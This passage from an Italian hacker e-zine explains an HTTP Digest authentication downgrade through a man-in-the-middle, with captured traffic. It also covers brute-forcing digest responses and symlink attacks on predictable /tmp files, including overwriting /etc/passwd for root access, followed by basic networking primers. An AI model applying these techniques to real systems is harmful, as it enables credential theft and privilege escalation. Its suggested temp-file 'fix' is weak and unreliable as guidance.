| malevolo è in grado di impersonificare il client o il server al fine di |
| compromettere la sicurezza dello schema digest. |
| |
| Nel corso dell'articolo non entrerò in merito alle modalità con cui può |
| essere condotto un attacco MITM, ad ogni modo per chi fosse interessato |
| ad approfondire l'argomento può trovare dei riferimenti nell'articolo |
| "Code Injection" comparso nel numero 8 di Ondaquadra, che illustra |
| alcune possibili applicazioni di questa tecnica. |
| |
| Una volta guadagnata la posizione "nel mezzo" un utente malevolo è |
| in grado di impersonificare il server e manipolare le informazioni che |
| da esso provengono. |
| Un possibile scenario prevede la manipolazione da parte dell'attaccante |
| degli header HTTP al fine di forzare il client ad autenticarsi |
| utilizzando uno schema debole quale una basic authentication. |
| Ad esempio, il client esegue una GET su una risorsa protetta dal server |
| con uno schema digest... |
| |
| |
| 20:54:39 192.168.1.4:1167 --> 192.168.1.6:80 |
| |
| GET /login HTTP/1.0. |
| Connection: Keep-Alive. |
| User-Agent: Mozilla/4.77 [en] (X11; U; Linux 2.4.18 i686). |
| Host: paperino.linuxbox.com. |
| Accept: image/gif, image/x-xbitmap, image/jpeg, image/png, */*. |
| Accept-Encoding: gzip. |
| Accept-Language: en. |
| Accept-Charset: iso-8859-1,*,utf-8. |
| |
| |
| ...il server risponde con un messaggio 401 Authorization Required con il |
| quale invita il client ad autenticarsi per mezzo di uno schema digest... |
| |
| |
| 20:54:39 192.168.1.6:80 --> 192.168.1.4:1167 |
| |
| HTTP/1.1 401 Authorization Required. |
| Date: Thu, 30 Jan 2003 20:51:29 GMT. |
| Server: Apache/1.3.26 (Unix). |
| WWW-Authenticate: Digest realm="Login", nonce="1044354862". |
| Connection: close. |
| Content-Type: text/html; charset=iso-8859-1. |
| |
| |
| ...l'utente malevolo sfrutta la sua condizione di MITM per intercettare |
| e |
| manomettere l'header WWW-Authenticate e forzare il client ad utilizzare |
| uno schema di autenticazione vulnerabile... |
| |
| |
| 20:54:39 192.168.1.6:80 --> 192.168.1.4:1167 |
| |
| HTTP/1.1 401 Authorization Required. |
| Date: Thu, 30 Jan 2003 20:51:29 GMT. |
| Server: Apache/1.3.26 (Unix). |
| WWW-Authenticate: Basic realm="Login". |
| Connection: close. |
| Content-Type: text/html; charset=iso-8859-1. |
| |
| |
| ...il client invia le proprie credenziali in chiaro esponendole alla |
| cattura da parte di chi attacca... |
| |
| |
| 20:55:18 192.168.1.4:1168 --> 192.168.1.6:80 |
| |
| GET /login HTTP/1.0. |
| Connection: Keep-Alive. |
| User-Agent: Mozilla/4.77 [en] (X11; U; Linux 2.4.18 i686). |
| Host: paperino.linuxbox.com. |
| Accept: image/gif, image/x-xbitmap, image/jpeg, image/png, */*. |
| Accept-Encoding: gzip. |
| Accept-Language: en. |
| Accept-Charset: iso-8859-1,*,utf-8. |
| Authorization: Basic cGlwcG86cGlwcG8=. |
| |
| |
| L'utente malevolo che ha intercettato le credenziali in base64 è ora in |
| grado di decodificarle ed utilizzare tali informazioni per accedere |
| comodamente tramite un'autenticazione digest. |
| |
| |
| 4.3 Brute Force Attack |
| |
| Il valore del challange e del response, scambiati tra il client e il |
| server nel corso di un'autenticazione di tipo digest, costituiscono gli |
| elementi sufficienti per eseguire un attacco di forza bruta in grado di |
| ricavare la password di accesso dell'utente. |
| Pertanto, un utente che entri in possesso di tali informazioni può |
| provare ad applicare lo stesso algoritmo utilizzato per la generazione |
| del responce per un dato nonce, utilizzando come password una lista di |
| parole di uso comune. |
| |
| Qui di seguito viene illustrato quello che potrebbe essere un possibile |
| scenario, i valori rispettivamente del challange e del response sono i |
| seguenti: |
| |
| |
| 11:34:22 192.168.1.4:80 --> 192.168.1.5:32775 |
| |
| HTTP/1.1 401 Authorization Required. |
| Date: Tue, 04 Feb 2003 10:34:22 GMT. |
| Server: Apache/1.3.20 (Unix). |
| WWW-Authenticate: Digest realm="Login", nonce="1044354862". |
| Transfer-Encoding: chunked. |
| Content-Type: text/html; charset=iso-8859-1. |
| |
| |
| 11:34:28 192.168.1.5:32776 --> 192.168.1.4:80 |
| |
| GET /login/ HTTP/1.1. |
| User-Agent: Mozilla/5.0 (compatible; Konqueror/3; Linux). |
| Accept: text/*, image/jpeg, image/png, image/*, */*. |
| Accept-Encoding: x-gzip, gzip, identity. |
| Accept-Charset: ISO-8859-1, utf-8;q=0.5, *;q=0.5. |
| Accept-Language: en, POSIX. |
| Host: pippo.linuxbox.com. |
| Authorization: Digest username="pippo", realm="Login", |
| nonce="1044354862", uri="/login/", algorithm="MD5", |
| response="f39e7e7e63adffc9d7a06e9c0ce68d03". |
| |
| |
| Partendo dal presupposto che l'algoritmo utilizzato da mod_digest.c per |
| generare il response è il seguente: |
| |
| response = MD5(MD5(username:realm:passwd):nonce:MD5(method:request URI)) |
| |
| e sapendo che l'unico parametro di cui NON siamo in possesso è quello |
| della password... |
| |
| response = MD5(MD5(pippo:Login:???????????):1044354862:MD5(GET:/login/)) |
| |
| ...possiamo computare tutti i possibili valori del campo password |
| all'interno di una lista di parole di uso comune, fino ad ottenere un |
| response identico a quello catturato, in tal caso avremo trovato il |
| valore della password. |
| |
| |
| 4.4 Implementazione |
| |
| Riporto qui di seguito alcuni sorgenti tratti dall'RFC 2617 che |
| implementano l'algoritmo utilizzato per computare il valore del response |
|
|
| |
| File "digcalc.h": |
| |
| |
| #define HASHLEN 16 |
| typedef char HASH[HASHLEN]; |
| #define HASHHEXLEN 32 |
| typedef char HASHHEX[HASHHEXLEN+1]; |
| #define IN |
| #define OUT |
| |
| /* calculate H(A1) as per HTTP Digest spec */ |
| void DigestCalcHA1( |
| IN char * pszAlg, |
| IN char * pszUserName, |
| IN char * pszRealm, |
| IN char * pszPassword, |
| IN char * pszNonce, |
| IN char * pszCNonce, |
| OUT HASHHEX SessionKey |
| ); |
| |
| /* calculate request-digest/response-digest as per HTTP Digest spec */ |
| void DigestCalcResponse( |
| IN HASHHEX HA1, /* H(A1) */ |
| IN char * pszNonce, /* nonce from server */ |
| IN char * pszNonceCount, /* 8 hex digits */ |
| IN char * pszCNonce, /* client nonce */ |
| IN char * pszQop, /* qop-value: "", "auth", "auth-int" */ |
| IN char * pszMethod, /* method from the request */ |
| IN char * pszDigestUri, /* requested URL */ |
| IN HASHHEX HEntity, /* H(entity body) if qop="auth-int" */ |
| OUT HASHHEX Response /* request-digest or response-digest */ |
| ); |
| |
| |
| File "digcalc.c": |
| |
| |
| #include <global.h> |
| #include <md5.h> |
| #include <string.h> |
| #include "digcalc.h" |
| |
| void CvtHex( |
| IN HASH Bin, |
| OUT HASHHEX Hex |
| ) |
| { |
| unsigned short i; |
| unsigned char j; |
| |
| for (i = 0; i < HASHLEN; i++) { |
| j = (Bin[i] >> 4) & 0xf; |
| if (j <= 9) |
| Hex[i*2] = (j + '0'); |
| else |
| Hex[i*2] = (j + 'a' - 10); |
| j = Bin[i] & 0xf; |
| if (j <= 9) |
| Hex[i*2+1] = (j + '0'); |
| else |
| Hex[i*2+1] = (j + 'a' - 10); |
| }; |
| Hex[HASHHEXLEN] = '\0'; |
| }; |
| |
| /* calculate H(A1) as per spec */ |
| void DigestCalcHA1( |
| IN char * pszAlg, |
| IN char * pszUserName, |
| IN char * pszRealm, |
| IN char * pszPassword, |
| IN char * pszNonce, |
| IN char * pszCNonce, |
| OUT HASHHEX SessionKey |
| ) |
| { |
| MD5_CTX Md5Ctx; |
| HASH HA1; |
| |
| MD5Init(&Md5Ctx); |
| MD5Update(&Md5Ctx, pszUserName, strlen(pszUserName)); |
| MD5Update(&Md5Ctx, ":", 1); |
| MD5Update(&Md5Ctx, pszRealm, strlen(pszRealm)); |
| MD5Update(&Md5Ctx, ":", 1); |
| MD5Update(&Md5Ctx, pszPassword, strlen(pszPassword)); |
| MD5Final(HA1, &Md5Ctx); |
| if (stricmp(pszAlg, "md5-sess") == 0) { |
| MD5Init(&Md5Ctx); |
| MD5Update(&Md5Ctx, HA1, HASHLEN); |
| MD5Update(&Md5Ctx, ":", 1); |
| MD5Update(&Md5Ctx, pszNonce, strlen(pszNonce)); |
| MD5Update(&Md5Ctx, ":", 1); |
| MD5Update(&Md5Ctx, pszCNonce, strlen(pszCNonce)); |
| MD5Final(HA1, &Md5Ctx); |
| }; |
| CvtHex(HA1, SessionKey); |
| }; |
| |
| /* calculate request-digest/response-digest as per HTTP Digest spec */ |
| void DigestCalcResponse( |
| IN HASHHEX HA1, /* H(A1) */ |
| IN char * pszNonce, /* nonce from server */ |
| IN char * pszNonceCount, /* 8 hex digits */ |
| IN char * pszCNonce, /* client nonce */ |
| IN char * pszQop, /* qop-value: "", "auth", "auth-int" */ |
| IN char * pszMethod, /* method from the request */ |
| IN char * pszDigestUri, /* requested URL */ |
| IN HASHHEX HEntity, /* H(entity body) if qop="auth-int" */ |
| OUT HASHHEX Response /* request-digest or response-digest */ |
| ) |
| { |
| MD5_CTX Md5Ctx; |
| HASH HA2; |
| HASH RespHash; |
| HASHHEX HA2Hex; |
| |
| // calculate H(A2) |
| MD5Init(&Md5Ctx); |
| MD5Update(&Md5Ctx, pszMethod, strlen(pszMethod)); |
| MD5Update(&Md5Ctx, ":", 1); |
| MD5Update(&Md5Ctx, pszDigestUri, strlen(pszDigestUri)); |
| if (stricmp(pszQop, "auth-int") == 0) { |
| MD5Update(&Md5Ctx, ":", 1); |
| MD5Update(&Md5Ctx, HEntity, HASHHEXLEN); |
| }; |
| MD5Final(HA2, &Md5Ctx); |
| CvtHex(HA2, HA2Hex); |
| |
| // calculate response |
| MD5Init(&Md5Ctx); |
| MD5Update(&Md5Ctx, HA1, HASHHEXLEN); |
| MD5Update(&Md5Ctx, ":", 1); |
| MD5Update(&Md5Ctx, pszNonce, strlen(pszNonce)); |
| MD5Update(&Md5Ctx, ":", 1); |
| if (*pszQop) { |
| MD5Update(&Md5Ctx, pszNonceCount, strlen(pszNonceCount)); |
| MD5Update(&Md5Ctx, ":", 1); |
| MD5Update(&Md5Ctx, pszCNonce, strlen(pszCNonce)); |
| MD5Update(&Md5Ctx, ":", 1); |
| MD5Update(&Md5Ctx, pszQop, strlen(pszQop)); |
| MD5Update(&Md5Ctx, ":", 1); |
| }; |
| MD5Update(&Md5Ctx, HA2Hex, HASHHEXLEN); |
| MD5Final(RespHash, &Md5Ctx); |
| CvtHex(RespHash, Response); |
| }; |
| |
| |
| File "digtest.c": |
| |
| |
| #include <stdio.h> |
| #include "digcalc.h" |
| |
| void main(int argc, char ** argv) { |
| |
| char * pszNonce = "dcd98b7102dd2f0e8b11d0f600bfb0c093"; |
| char * pszCNonce = "0a4f113b"; |
| char * pszUser = "Mufasa"; |
| char * pszRealm = "testrealm@host.com"; |
| char * pszPass = "Circle Of Life"; |
| char * pszAlg = "md5"; |
| char szNonceCount[9] = "00000001"; |
| char * pszMethod = "GET"; |
| char * pszQop = "auth"; |
| char * pszURI = "/dir/index.html"; |
| HASHHEX HA1; |
| HASHHEX HA2 = ""; |
| HASHHEX Response; |
| |
| DigestCalcHA1(pszAlg, pszUser, pszRealm, pszPass, pszNonce, |
| pszCNonce, HA1); |
| DigestCalcResponse(HA1, pszNonce, szNonceCount, pszCNonce, pszQop, |
| pszMethod, pszURI, HA2, Response); |
| printf("Response = %s\n", Response); |
| }; |
| |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ HACKiNG #09 - 01/06/2003 |
| SYMB0LiC LiNK VULNERABiLiTiES [Master^Shadow] 0x05/0x20 |
+--------------------------------------------------------------------------+
| INTRODUZIONE |
| Una delle vulnerabilità più interessanti del mondo *NIX è sicuramente |
| quella dovuta alla combinazione di link simbolici e all'apertura di file |
| temporanei non casuali da parte dei programmi. |
| Ipotizziamo di avere un demone in background che aspetti dei dati in |
| input dall'utenza e li memorizzi in un file temporaneo per |
| l'elaborazione e che il nome di questo file sia stato predefinito dal |
| programmatore del demone stesso. Ad ogni richiesta sul demone |
| corrisponde l'accesso al file "taldeitali" e la scrittura di dati sullo |
| stesso. |
| Nel mondo *NIX ci sono due soli metodi di accesso ai file: accesso |
| diretto o tramite link (sia simbolico che non). Teoricamente il demone è |
| stato scritto per accesso diretto in quanto il file non dovrebbe |
| esistere ma se in qualche maniera il file esistesse e non fosse un file |
| reale ma un link, cosa accade al programma? Qui nasce la vulnerabilità |
| ai link simbolici, oggetto di questo paper. |
| |
| CAPIRE LA VULNERABILITA' |
| Il modo migliore per affrontare l'analisi di questa vulnerabilità è |
| prendere confidenza con la stessa operando su un piccolo pezzo di |
| codice C. |
| |
| // Inizio codice vulnerabile |
| #include <stdio.h> |
| |
| int main() |
| { char *stringa = "Da qui posso entrare, fai attenzione!\0"; |
| FILE *out; |
| out = fopen("/tmp/filepericoloso", "w"); |
| fputs(stringa, out); |
| } |
| // Fine codice vulnerabile |
| |
| Questo codice va compilato con "gcc -o nomeEseguibile sorgente.c" ed è |
| in grado di creare un file nella directory "/tmp" chiamato |
| "filepericoloso", nel quale viene scritta la stringa "Stringa di testo". |
| Avviamo l'eseguibile ottenuto da gcc per creare il file "filepericoloso" |
| e facciamo un cat del file appena creato: come era ovvio il file |
| contiene il testo puntato dal riferimento *stringa. |
| Proviamo ora a rimuovere il file "filepericoloso" e a creare un link |
| simbolico ad un altro file, ad esempio con: |
| |
| ln -s /tmp/fileesistente /tmp/filepericoloso |
| |
| Ora abbiamo ottenuto che il file "/tmp/filepericoloso" è divenuto un |
| link a "/tmp/fileesistente" e agendo sul link "filepericoloso" si |
| modifica il file a cui punta il link e non quindi il link stesso. Se |
| infatti lanciamo il programma vulnerabile otterremo la sovrascrittura di |
| "/tmp/fileesistente" e non di "/tmp/filepericoloso". |
| |
| POSSIBILI SVILUPPI |
| Pensiamo al nostro demone come ad un servizio di rete. Solitamente i |
| servizi vengono lanciati all'avvio tramite scripts e normalmente girano |
| a livello di root (tranne particolari casi nei quali solo il core |
| dell'applicazione viene avviato come root mentre i thread girano a uid |
| più elevato). |
| |
| <Q: Cosa abbiamo ottenuto?> |
| Il nostro demone è diventato un appliance di rete che gira a permessi |
| elevati ed è vulnerabile al SymLink Attack. |
| Avendo accesso al sistema e quindi alla directory /tmp in scrittura è |
| possibile creare un link ad un qualsiasi file del sistema pur non avendo |
| i permessi per modificare tale file. |
| Se infatti creassimo un link "/tmp/filepericoloso" verso un qualsiasi |
| file e avviassimo il demone vulnerabile, questo sovrascriverebbe il file |
| puntato del link con l'array di caratteri puntato da *stringa. |
| Qualsiasi file verrà sovrascritto in quanto il processo del demone ha i |
| permessi massimi, quelli dell'utente root. |
| |
| Se il demone memorizza nel file temporaneo dati provenienti dall'utente |
| è possibile scrivere in un qualsiasi file del sistema l'input |
| proveniente da tastiera. |
| Se il file puntato fosse /etc/passwd sarebbe possibile creare un account |
| nel sistema con i più alti privilegi in pochi secondi, beffandosi di |
| tutte le protezioni d'accesso presenti nel sistema. |
| |
| GENERARE NOMI CASUALI PER I FILE TEMPORANEI |
| Per ovviare al problema generato dalla non causualità dei file |
| temporanei è possibile scrivere un algoritmo per la creazione random di |
| un nome per i file temporanei. |
| L'algoritmo sottostante è generato tramite la combinazione di tre |
| valori, uno fisso e due casuali (uno prettamente causuale e uno |
| dipendente da come è stato concepito lo scheduler del sistema che nel |
| peggiore dei casi è un valore sequenziale). |
| I tre valori considerati sono: un prefisso, un numero casuale generato |
| tramite i tick di sistema e il PID, un numero che identifica |
| univocamente un processo nei sistemi Linux. |
| |
| // Inizio del codice di generazione nome casuale |
| #include <stdio.h> |
| #include <stdlib.h> |
| #include <string.h> |
| #include <time.h> |
| #include <sys/types.h> |
| #include <unistd.h> |
| |
| int main(void) |
| { |
| int rndNum; |
| char *prefix = "prefix\0"; |
| char filename[100] = "\0"; |
| time_t seed = time(NULL); |
| |
| strcat(filename, prefix); |
| srand(seed); |
| rndNum = 1+ (int)(1000.0*rand()/(RAND_MAX+1.0)); |
| rndNum *= getpid(); |
| |
| sprintf(filename, "%s%d", filename, rndNum); |
| printf("%s\n", filename); |
| |
| return 0; |
| } |
| // Fine del codice di generazione nome casuale |
| |
| L'algoritmo implementato nel codice sovrastante è molto semplice: la |
| stringa puntata da *prefix viene copiata nell'array di caratteri |
| filename (di dimensione 100) e successivamente si inizializza il |
| generatore di numeri casuali con il numero di secondi passati dalla data |
| di riferimento (generalmente 00:00:00 UTC, January 1, 1970). |
| Una volta che il generatore è stato inizializzato, viene assegnato alla |
| variabile rndNum un numero casuale intero compreso tra 0 e 999 |
| moltiplicato per il PID del processo ed il tutto viene unito nell'array, |
| rendendo il nome generato accessibile. |
| Solitamente i demoni creano un thread ad ogni connessione in modo da |
| gestire la multi-utenza e, se l'algoritmo viene implementato all'interno |
| del thread stesso, è possibile avere un PID diverso ad ogni connessione |
| e rendere quindi pressochè impossibile la predizione del nome del file |
| temporaneo. |
| |
| RINGRAZIAMENTI |
| I più sentiti ringraziamenti a tutti i componenti di RoLUG, agli amici |
| di OndaQuadra, allo staff di Pcimprover.it e a tutti quelli che mi |
| sopportano giorno dopo giorno. |
| Ringrazio inoltre tutti i promotori di Linux in tutto il mondo e tutti |
| coloro che vogliono un sistema informatico libero da concezioni |
| politiche e da monopoli. |
| Free software is the right choice! |
| |
| |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ NETW0RKiNG #09 - 01/06/2003 |
| LE RETi [Spy] 0x06/0x20 |
+--------------------------------------------------------------------------+
| |
| Le reti |
| |
| |
| |
| Protocollo: |
| |
| Il Protocollo è fondamentale in tutte le tipologie di reti |
| informatiche, infatti il protocollo è il linguaggio di comunicazione |
| utilizzato da vari personal computer nella rete. |
| |
| I vari tipi di protocollo: |
| |
| Protocollo IPv4 |
| Protocollo IPv6 |
| Protocollo TCP (associato al Protocollo IP forma il |
| protocollo TCP/IP) |
| Protocollo netBios o netBuei |
| Protocollo IPX/SPX |
| Protocollo AppleTalk |
| Rete TokenRing |
| |
| Il Protocollo IPv4 e IPv6 |
| |
| IPv sta per: Internet Protocol version |
| Le attuali versioni di Internet Protocol sono la versione 4 ormai in |
| circolazione da molto tempo e la versione 6 di recente uscita |
| destinato a rimpiazzare lIPv4 su cui si basa Internet. |
| Tutti gli utenti Internet usano IPv4, un protocollo vecchio ormai di |
| ventanni e con molte falle riguardanti la sicurezza ciò fa pensare |
| alla progettazione di un nuovo protocollo. |
| Il Secondo e ben più importante motivo della nascita del IPv6 è la |
| mancanza di indirizzi IPv4 che stanno ormai per terminare! |
| LIPv6 è in attuale co-esistenza con lIPv4 appoggiandosi ad una rete |
| IPv6-Over-IPv6 chiamata 6Bone la quale appoggia a sua volta |
| sullattuale rete Internet, tramite un sistema di Tunneling i dati |
| IPv6 vengono inseriti in normali pacchetti IPv4. |
| La differenza sostanziale tra IPv4 e IPv6 sta nella struttura degli |
| indirizzi. |
| |
| Nella versione 4 dellInternet Protocol gli indirizzi IP sono |
| espressi in base 10 (es. 62.98.231.67) |
| mentre nella nuova versione gli IP sono rappresentati in base 16 |
| (esadecimale) (es. 2001:6b8:0:400::70c) |
| Analizzando la struttura del nuovo IPv6 si nota che lIP è organizzato |
| in 8 blocchi di 16 Bit ciascuno, se osserviamo lesempio sopraccitato |
| si vede che lIP è formato solo da 6 blocchi, in effetti sono 8 ma due |
| blocchi sono racchiusi tra :: perché costituiti tutti da zeri. |
| Nella forma completa il nostro IP sarebbe stato: |
| 2001:06b8:0000:0000:0400:0000:0000:070c |
| |
| Un'altra forma di scrittura per lIPv6 è la Nibble, questa forma è |
| usata per la zona inversa del DNS (Domain name Server). |
| Questa forma prevede che lIP venga scritto al contrario, senza |
| contradistinzioni e che ogni carattere venga separato degli altri per |
| mezzo di un punto. |
| La rappresentazione del nostro IP |
| (2001:06b8:0000:0000:0400:0000:0000:070c) nella forma NIbble |
| corrisponderebbe a |
| c.0.7.0.0.0.0.0.0.0.0.0.0.0.4.0.0.0.0.0.0.0.0.08.b.6.0.1.0.0.2.ipv6.int |
| |
| |
| DNS: è il sistema che permette di far corrispondere un dato dominio |
| al relativo indirizzo ip, in modo che digitando il nome di un dominio |
| di un sito, lutente venga connesso al server che ospita quel sito. |
| |
| Protocollo TCP/IP |
| |
| Il TCP/IP non si può definire un protocollo me è meglio dire che è un |
| insieme di protocolli che comprendono TCP, IP, UDP ed altri ancora. |
| |
| Funzionamento: |
| |
| Per trasmettere dei dati tra due calcolatori bisogna avere la |
| possibilità di identificare i due i calcolatori, questo è possibile |
| mediante lindirizzo ip che deve essere unico per ogni calcolatore. |
| Il protocollo ip consente la trasmissione di pacchetti di dati tra due |
| elaboratori |
| La trasmissione di dati mediante protocollo IP segue uno schema molto |
| semplice: i dati vengono suddivisi in pacchetti di una certa |
| dimensione, ad ogni pacchetto è associato il numero identificativo del |
| computer che spedisce i pacchetti e quello del computer destinatario. |
| Questo tipo di protocollo non prevede nessun tipo di controllo sui |
| dati trasmessi, non verifica che tutti i pacchetti siano |
| effettivamente arrivati a destinazione e che la sequenza di arrivo |
| corrisponda a quella di invio. |
| Proprio per questo al protocollo IP è stato affiancato il protocollo |
| TCP che si occupa della correttezza delle trasmissioni, verifica che |
| tutto ciò che è stato trasmesso arrivi a destinazione e se ciò non |
| avviene rinvia il pacchetto mancante, inoltre verifica che la sequenza |
| di arrivo dati sia uguale a quella di invio. |
| |
| Protocollo netBios/netBuei: |
| |
| NetBios (NetWork Basic Input/Output System) è un insieme di regole che |
| dettano in che modo le applicazioni debbano accedere alla rete. |
| Fu sviluppato dallIBM e dalla Microsoft agli inizi degli anni 80. |
| Con questo sistema attivato ogni computer viene identificato in rete |
| da un nome attribuito al pc al momento dellinstallazione del SO |
| (Sistema Operativo). |
| Quando vengono inviati dei pacchetti NetBIOS ogni computer connesso |
| alla rete ne riceve una copia ma il pacchetto viene preso in |
| considerazione solo se lindirizzo del destinatario inserito nel |
| pacchetto NetBios corrisponde la nome del computer. |
| Questo sistema pur essendo molto semplice presenta degli |
| inconvenienti, infatti le prestazione della rete vengono degradate |
| dalleccessiva presenza di pacchetti inutili e quindi destinati ad |
| essere scartati. |
| Inoltre non è possibile interfacciare direttamente diverse reti tra |
| loro e non possono accedere allesterno, di conseguenza questo |
| protocollo è destinato a piccole reti chiuse. |
| |
| Protocollo IPX/SPX |
| |
| IPX/SPX (Internetwork Packet eXchange/Sequential Packet eXchange) è un |
| protocollo creati dalla Novell per le proprie reti e diventato uno |
| standard nei primi anni 90. |
| Si tratta dellunione di due protocolli molto simili tra loro da poter |
| lavorare insieme formando un unico protocollo. |
| Il protocollo IPX si può considerare simile al NetBIOS infatti |
| anchesso prepara i pacchetti e li inoltra nella rete senza curarsi |
| del destinatario, se il destinatario li abbia ricevuti integri e tanto |
| meno se li abbia effettivamente ricevuti. |
| Proprio per questo motivo gli è stato affiancato il protocollo SPX che |
| è in grado di eseguire queste funzione e di identificare uno specifico |
| computer nella rete attraverso il nome del computer e di un |
| particolare indirizzo memorizzato nel hardware di rete al momento |
| della sua produzione. |
| |
| Protocollo AppleTalk |
| |
| Questo protocollo è stato studiato da Apple per la messa in opera di |
| reti Macintosh |
| Lassegnazione di un indirizzo Apple Talk avviene dinamicamente nel |
| momento dellavvio del computer, il sistema sceglie lindirizzo |
| automaticamente e invia sulla rete una richiesta di conferma. |
| Se nessun altro computer risponde, lindirizzo scelto viene assegnato |
| automaticamente. |
| Se invece lindirizzo scelto è già presente sulla rete, il computer |
| riceve un messaggio derrore dal computer al quale è stato assegnato |
| lindirizzo in questione per primo, di conseguenza il computer in |
| cerca dellindirizzo ne prova un altro fino a quando non ne trova uno |
| libero. |
| Ogni indirizzo di rete AppleTalk viene associato allhardware di rete |
| installato sul computer. |
| Un punto a favore di questa tipologia di rete è la semplicità di |
| utilizzo ma purtroppo esistono dei limiti; AppleTalk non ha avuto |
| molta diffusione innanzitutto per il particolare File System adottato |
| dalla Apple che rende difficoltoso lo scambia di dati da sistemi Apple |
| a sistemi non Apple. |
| Un altro motivo è che il protocollo AppleTalk fosse proprietà di Apple |
| e quindi ha tenuto lontani i programmatori dai suoi segreti evitando |
| quasi laccesso da parte di tecnologie esterne. |
| |
| Rete TokenRing |
| |
| La rete TokenRing nasce da studi effettuati da IBM e risulta essere la |
| più veloce rete informatica disponibile al momento. |
| Il nome Token-Ring deriva dalla sua struttura particolare, cioè ad |
| anello (in inglese Ring) e dalla tecnica di trasmissione dei dati. |
| In un anello di connessione viaggiano diversi pacchetti detti token |
| che indicano un particolare stato: libero o impegnato. |
| Quando un computer connesso alla rete deve trasmettere dei dati, |
| aspetta fino a quando non riceve in ingresso un token libero. |
| Non appena il token libero viene individuato il computer lo |
| sostituisce con un token impegnato, seguito dal pacchetto dati da |
| recapitare così prende circolo nel flusso della rete. |
| Se il pacchetto dati compie lintero percorso torna al computer che ha |
| emesso questo pacchetto che lo elimina dal flusso e lo sostituisce con |
| un token libero e aspetta di nuovo il suo turno per trasmettere. |
| Il risultato ovvio è che in una rete TokenRing la consegna dei dati |
| presso il destinatario è garantita in quanto essi vengono sempre |
| ritrasmessi fino ad esito positivo, cioè fino a quando non vengono |
| eliminati dal flusso dal destinatario e sostituiti con un token libero |
| Questa rete è particolarmente adatta allutilizzo delle fibre ottiche |
| per la trasmissione di grandi moli di dati. |
| |
| Le tipologie di reti |
| |
| Reti a Stella |
| |
| Sono basate su un nodo centrale (detto hub) al quale sono connessi |
| tutti gli altri nodi periferici. |
| In Questo tipo di rete ogni elaboratore ha un proprio mezzo fisico per |
| collegarsi al server mediante lHUB. |
| |
| Reti a Bus |
| |
| Quando gli elaboratori condividono lo stesso mezzo fisico di |
| trasmissione ossia un cavo BNC |
| I cavi BNC sono cavi coassiali schermati con impedenza di 50 Ohm. |
| |
| Reti ad Anello |
| |
| Tutti gli elaboratori sono collegati tra di loro in modo da formare |
| un anello |
| Con questo tipo di connessione si garantisce la continuità del flusso |
| di dati anche in caso di guasto ad un elaboratore. |
| Questo tipo di rete è usata nelle LAN |
| |
| Rete Server |
| |
| Il computer configurato come server ospita la risorsa da condividere e |
| si occupa di rispondere e regolare le richieste di accesso. |
| |
| Reti Peer to Peer (P2P) |
| |
| Rete punto a punto o paritetica dove non esistono computer configurati |
| come server o client ed ogni computer accede alla risorsa direttamente. |
| |
| Acronimi di rete: |
| |
| WAN: Wide Area Network (rete geografica) |
| MAN: Metropolitan area Network (rete urbana) |
| LAN: Local Area Network (rete locale o aziendale) |
| |
| Modelli di schede di rete: |
| |
| Modello con trasmissione dati a 10Mbit tipico delle reti Ethernet 10 |
| base 2. |
| Si installano nei connettori ISA. |
| |
| Modello con trasmissione dati a 10/100 Mbit tipico delle reti |
| Ethernet 100 base T |
| |
| Cavi UTC: Unshielded Twisted Pair sono i cavi con doppino ritorto non |
| schermato. |
| |
| Ethernet: è la tecnologia più diffusa per la realizzazione di reti LAN. |
| Fu sviluppata da Bob Metcalfr che aveva ricevuto lincarico di trovare |
| un modo per collegare tra loro le prime stazione di lavoro ALTO (i |
| primi computer basati su icone e finestre). |
| |
| |
| |
| Creato da Spy il 08/11/2002 |
| |
| |
+--------------------------------------------------------------------------+
+--------------------------------------------------------------------------+
| ONDAQUADRA ~ NETW0RKiNG #09 - 01/06/2003 |
| iNTR0DUZi0NE ALLE RETi [l1l0] 0x07/0x20 |
+--------------------------------------------------------------------------+
| -------------------- "Introduzione alle Reti" -------------------- |
| |
| -------- Introduzione Generale -------- |
| |
| La più semplice delle reti è quella costituita da due pc, di cui uno |
| prende il nome di "server" (o anche detto servente) il quale mette a |
| disposizione determinati servizi, e l'altro prende il nome |
| di "client"(o anche detto cliente), il quale usufruisce dei servizi |
| messi a disposizione dal server (figura 1). |
| |
| Figura 1 |
| Pc "Client" --------------------> Pc "Server" |
| |
| Per rendere meglio l'idea potremmo immaginare il "client" come il |
| cliente di un ristorante il quale entrato nel ristorante si siede, |
| legge sul menu ciò che il ristorante offre e da questo elenco sceglie |
| ciò che desidera. A grosse linee è quello che succede quando un pc |
| client comunica con un pc server, ma sul menu al posto delle portate vi |
| sono i servizi che il server stesso offre. |
| |
| Si passa da strutture di rete semplici come quella composta da due soli |
| pc, a quelle molto più complesse, che vedremo adesso esaminando le |
| topologie di rete. |
| |
| -------- Introduzione alle Topologie di Rete -------- |
| |
| Innanzitutto voglio chiarire il titolo, "topologie" non è un errore |
| ortografico ma è il termine esatto che sta a definire la struttura |
| delle reti o meglio detto in parole povere il modo in cui sono |
| collegati tra di loro i vari pc facenti parti di una determinata rete. |
| Quindi una rete sarà composta da vari "nodi". I nodi non sono |
| nient'altro che i pc che compongono la rete stessa, e che assumono |
| questo nome. Ora i nodi per comunicare devono essere ovviamente |
| connessi tra loro, e quindi vi è la necessità di avere dei mezzi che |
| fungano da tramite, i mezzi possono essere a "livello fisico" ( cavi, |
| ed altri tipi di connettori...) o a "livello logico" (hub, switch...) |
| ovvero che non necessitano di cavi per instradare i vari messaggi. Per |
| ora basta sapere questo più avanti approfondiremo. |
| |
| |
| -------- Le Topologie di Rete Locali -------- |
| |
| Esistono vari tipi di reti locali, prenderò in esame le seguenti |
| topologie: a bus, ad anello e a stella. |
| Illustrerò di seguito le loro principali caratteristiche. |
| |
| --- Rete a Bus --- |
| |
| E' senza dubbio una delle strutture di rete più semplice, affidabili e |
| veloci, in pratica si tratta di un unico cavo di comunicazione al quale |
| sono collegati i vari nodi (figura 2), è una struttura affidabile in |
| quanto qualora un nodo per un qualsivoglia motivo cada la rete |
| continuerà a funzionare, in quanto il suo funzionamento non è legato ai |
| vari nodi ma ne è bensì indipendente. |
| NB: qualora al nodo siano legati altri pc questi alla caduta del nodo |
| perderanno la comunicazione con la rete principale stessa! |
| |
| Figura 2. |
| Pc1 Pc2 Pc3 |
| | | | |
| PC --------------------------|| |
| SERVER | | |
| Pc4 Pc5 |
| |
| |
| --- Rete ad Anello --- |
| |
